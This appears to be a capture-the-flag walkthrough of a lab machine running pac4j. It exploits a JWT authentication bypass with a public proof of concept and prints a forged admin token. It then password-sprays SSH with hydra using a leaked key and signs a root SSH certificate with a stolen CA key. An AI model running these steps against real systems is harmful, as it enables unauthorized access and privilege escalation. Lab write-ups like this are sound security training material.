[OS]: Linux
[Web-Technology]: Pac4j
[IP]: 10.129.244.220
=========================================================================
[Web Services Enumeration]:
port 8080 had a web page with a login form
version 6.3.0
looking through the network tab we find that there a file called
app.js opening the file showed us multiple endpoints.
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
going through the endpoints i found that /api/auth/jwks has a public key maybe?
further enumeration made me find an unauthenticated bypass on the web page for pac4j. The vulnerability allows attackers to athenticate as arbitrary users by sending a malicious JWE token containing an unsigned PlainJWT (alg:none)
https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc
clone the repo
python3 poc.py --jwks http://$IP:8080/api/auth/jwks --user admin --role ROLE_ADMIN
running it will give us the malicious JWE Token
Authorization : Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.E5jd2VlTLPvv1NiF9grmLyX-k0w9BhCr23cS48LkOMTcUp2VuafCnu8NFw0D1ozWghxQxbHDVq4JxZ3ia0TWyekyuFGnfHRWUzhbRS4IiqZGH5ONuQFVk-r9oj4TZ7kf-8djxUIu3MdYKJod2VmiSQisYXjylHNsaDepgd6HHahqnPTO-BNHKj7moa7N56kdB6OiUxVtF0VF7M-Rn2XyPtA-qkuibcuF85_PntNaHa8xmao3B6X_oO_4PXIWngZAySElZFQcbDUhf_UoSlXpINp49YfrTuBuI291Zoem9-m0tl1Dzn3XWRCeJzHczBjftukTlU--PGAXZmyjCG8O-A.MI81BJnntHrz-usj.uIvFyO3zWddrCBg8vMJshZ8uACXsfbrMj3fC3ae7uK_Qbwnx6uU2eNh9RcZm_Rv-E3ss1E2lk_7MXJd_2spBpq81iDucN64ExtvUCbEVf8_wG_YUWWYinQKcXiullqkXwc6EhcLsw4CKmB7V2-3IEJFXigFBpazsU8pointvot6-ZQNsTaAVlDl6BU8ifLnNdhe0qB1HEwAy8D_AVKBeRJWZ2kb7tYykbysTE4XN-BfjmyvVbw.2xTd6O7Bymvf4XeMdRr2AQ
successfully was able to authenticate through admin account now we look at the other api endpoints
/api/settings
security": {
"authFramework": "pac4j-jwt",
"authFrameworkVersion": "6.0.3",
"jwtAlgorithm": "RS256",
"jweAlgorithm": "RSA-OAEP-256",
"jweEncryption": "A128GCM",
"encryptionKey": "D3pl0y_$$H_Now42!",
"tokenExpiry": "3600s",
"sessionManagement": "stateless"
},
"system": {
"environment": "production",
"serverType": "Jetty 12.x (Embedded)",
"javaVersion": "21.0.10",
"applicationName": "Principal Internal Platform",
"version": "1.2.0"
},
"infrastructure": {
"notes": "SSH certificate auth configured for automation - see
/opt/principal/ssh/ for CA config.",
"sshCaPath": "/opt/principal/ssh/",
"sshCertAuth": "enabled",
"database": "H2 (embedded)"
}
}
username admin display name sarah chen
using the password we found can check if we can authenticate to any account ssh
we first create a users list from the /api/users endpoint and put them in a file
and create a password file (optional) and user hydra to perform a password spray
D3pl0y_$$H_Now42!
hydra -L users -P passwords ssh://$IP -t 4 -V
successfully authenticated to ssh
=========================================================================
[OTHER / PRIVILEGE-ESCALATION]:
if you enumerated well in the past section you see that there a directory that was mentioned multiple times
If you don’t already have a local SSH key, generate one. This keypair will be used to authenticate to the server, and the CA will sign its public half.
ssh-keygen -t ed25519 -f ./my_key -N ""
Now, use the stolen CA private key to sign your public key and grant it root privileges.
ssh-keygen -s ca_key -I "admin_bypass" -n root -V +1h ./my_key.pub
Now, log in using your private key (my_key). The SSH client will automatically look for my_key-cert.pub in the same directory.
authenticated to root
done!